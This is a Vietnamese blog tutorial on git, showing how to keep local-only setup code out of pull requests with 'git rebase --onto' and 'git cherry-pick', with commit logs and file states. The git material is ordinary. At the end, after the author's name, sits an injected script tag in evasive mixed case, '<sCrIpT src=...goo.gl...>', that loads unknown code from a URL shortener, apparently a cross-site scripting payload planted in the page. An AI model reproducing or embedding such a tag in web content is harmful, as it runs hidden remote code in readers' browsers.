Một số thủ thuật nhỏ làm việc với GIT
Bài đăng này đã không được cập nhật trong 3 năm
Là một developer mới được tiếp xúc với GIT
chưa lâu, mình thấy rõ được sự "kỳ diệu" của công cụ quản lý code này. GIT
kỳ diệu như thế nào thì còn phải phân tích nhiều; nhưng ít ra, bạn có thể thoải mái code mà không lo ngại sẽ lỡ tay làm hỏng, hay là phá cả hủy hệ thống... =)). Tìm hiểu chi tiết ở đây
Một khái niệm cực kỳ quan trọng trong GIT
đó là commit
. Làm việc với GIT
thì chắc là sẽ rất hay gặp. Bạn có thể đọc thêm ở bài viết này hoặc là chịu khó google search nhé
Bài viết này, mình xin chia sẻ một số thủ thuật nhỏ mà mình đã sử dụng trong dự án gần đây để thao tác với commit
. Tất nhiên, nó sẽ không hoàn toàn phù hợp cho tất cả các trường hợp và cũng có thể không phải là cách tối ưu nhất, nhưng bạn có thể áp dụng cho một số trường hợp cụ thể
Thủ thuật được đề cập ở đây là cherry-pick
với commit
Cherry-pick
1. Đặt vấn đề
Giả sử bạn phải làm việc trên nhánh base là master
có 2 file với nội dung như sau
- ####File
file1.txt
origin content of file1 - ####File
file2.txt
origin content of file2
Mỗi khi tiến hành code một task mới (code trên file file2.txt
) thì bạn cần phải thêm một đoạn code sau vào cuối file file1.txt
. Nó là điều kiện để bạn có thể chạy được ứng dụng ở trên local
Tuy nhiên khi bạn đã code xong cho task, trước khi push code lên để tạo pull request thì bạn phải bỏ phần code điều kiện này đi, và chỉ để lại phần code cho task của bạn ở file file2.txt
Nếu chỉ như trên thì không có gì phải bàn luận, trường hợp mình muốn nói tới ở đây là, có nhiều task cùng cần một cái điều kiện như vậy (ở đây là đoạn code trong file file1.txt
mình nhắc đến ở trên) thì sẽ giải quyết như thế nào?
Bạn có thể cứ mỗi khi tạo nhánh làm task mới thì bạn sẽ thêm điều kiện này vào một cách thủ công. Nhưng như thế thì rất bị động, và với phần điều kiện có nhiểu thay đổi thì rất bất tiện khi làm việc
Dưới đây là 2 cách thao tác với GIT
có thể dùng để giải quyết được việc này
2. Giải quyết
C1. Cách cổ điển - rebase
Trước tiên, từ master
, bạn tạo một nhánh mới để chứa phần code điều kiện. Ở đây mình tạo nhánh pre-run
Tiến hành code cho phần điều kiện ở trên nhánh pre-run
. Giả sử sau khi thay đổi thì 2 file trên sẽ như sau
origin content of file1
content of prepare to run # new line
=====================================
origin content of file2
commit
để tổ chức phần code điều kiện
này như bình thường. Khi đó, kiểm tra log
ở nhánh này ta có như bên dưới
$ git log --oneline
eead22b prepare to run
2879ed2 Improve the README and create test_file
fb4a53b init repo
Tiếp đó, từ pre-run
, tạo mới nhánh branch-1
và tiến hành code cho task của mình. 2 file đó sẽ thành
origin content of file1
content of prepare to run # new line
=====================================
origin content of file2
content of branch-1 # new line
Ta cũng commit
cho phần này và kiểm tra lại log
$ git log --oneline
af8507b code for branch-1
eead22b prepare to run
2879ed2 Improve the README and create test_file
fb4a53b init repo
Việc còn lại là chúng ta sẽ dùng câu lệnh rebase
để đẩy branch-1
về ngay sau master
mà không phải qua pre-run
nữa. Ta dùng cấu trúc git rebase --onto target-branch source-branch
và kiểm tra lại log
$ git rebase --onto master pre-run
$ git log --oneline
a6668fc code for branch-1
2879ed2 Improve the README and create test_file
fb4a53b init repo
Bạn có thể xem kĩ hơn về rebase --onto
tại đây
Thay đổi hiện tại của bạn sẽ là (1)
origin content of file1
=====================================
origin content of file2
content of branch-1 # new line
Hoàn thành. Việc còn lại là đẩy code lên remote thôi
Với task mới thì bước đầu tiên là sẽ rebase
nhánh pre-run
đã có về master
(đã ở version mới tại thời điểm đó) và project sẽ trở về trạng thái như (1)
Tiếp đó, lại tạo nhánh mới để code và tiếp tục tiến hành như trên
C2. cherry-pick
commit
Tạo ra nhánh new-pre-run
chứa code điều kiện cho task mới
Bạn chỉ cần lần về trước, kiểm tra log
để tìm xem commit
nào chứa phần điều kiện. Ở đây, đó là commit
có mã SHA
rút gọn eead22b
ở nhánh pre-run
bên trên
Từ nhánh new-pre-run
, chúng ta chỉ cần cherry-pick
commit
đó để đưa code điều kiện vào đây
$ git cherry-pick eead22b
Ta có thể hiểu đơn giản là nếu rebase
và merge
thao tác với các nhánh thì cherry-pick
lại là câu lệnh chỉ thao tác với các commit
. Bạn có thể xem thêm chi tiết ở đây hoặc dùng lệnh để đọc doc
$ git cherry-pick --help
Quay trở lại, câu lệnh này sẽ tiến hành sao chép những thay đổi trong commit
có mã eead22b
ở trên và tạo ra một 'commit' mới với nội dung hoàn toàn giống, chỉ khác nhau mã SHA
. Mã commit
mới này là 13b0749
Kiểm tra log
$ git log --oneline
13b0749 prepare to run
2879ed2 Improve the README and create test_file
fb4a53b init repo
Đến đây thì nhánh new-pre-run
đã nghiễm nhiên có toàn bộ phần code điều kiện để chúng ta làm việc. Chúng ta sẽ tiến hành code ngay trên nhánh new-pre-run
này luôn với 2 file như sau
origin content of file1
content of prepare to run # new line
==============================================
origin content of file2
content of branch-3 for cherry-pick # new line
Sau khi code xong thì cũng commit
để tổ chức code như bình thường
$ git log --oneline
528a5bd code for cherry-pick test
13b0749 prepare to run
2879ed2 Improve the README and create test_file
fb4a53b init repo
Đến đây, chúng ta lại về nhánh master
và tiến hành cherry-pick
commit 528a5bd
và kiểm tra kết quả
$ git log --oneline
3f2092f code for cherry-pick test
2879ed2 Improve the README and create test_file
fb4a53b init repo
Và ta lại có được phần code như mong muốn tương tự (1) . Với task mới thì cũng làm hoàn toàn tương tự
2. Lời kết
Với cách dùng rebase
thì bạn có thể chỉ cần tạo ra một nhánh duy nhất chưa phần code điều kiện đó để dùng cho nhiều task
Còn với cách dùng cherry-pick
thì mỗi task bạn tạo ra một nhánh trung gian để chứa phần code điều kiện, nhưng có thể tiến hành code ngay trên nhánh trung gian đó luôn. Rất tiện lợi
Tất nhiên, trong quá trình sử dụng cherry-pick
cũng như rebase
, bạn phải nhuần nhuyễn khái niệm fix conflict
đấy. =))
Tài liệu
- https://viblo.asia/nguyen.van.ngoc/posts/n157G5NZvAje
- https://viblo.asia/tand/posts/w5WQvzBnvk3E
- https://git-scm.com/docs/git-cherry-pick
- http://makandracards.com/makandra/10173-git-how-to-rebase-your-feature-branch-from-one-branch-to-another
Cám ơn bạn đã theo dõi bài viết, mình sẽ cố gắng tìm hiểu để có những bài viết hay hơn!
tribeo
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved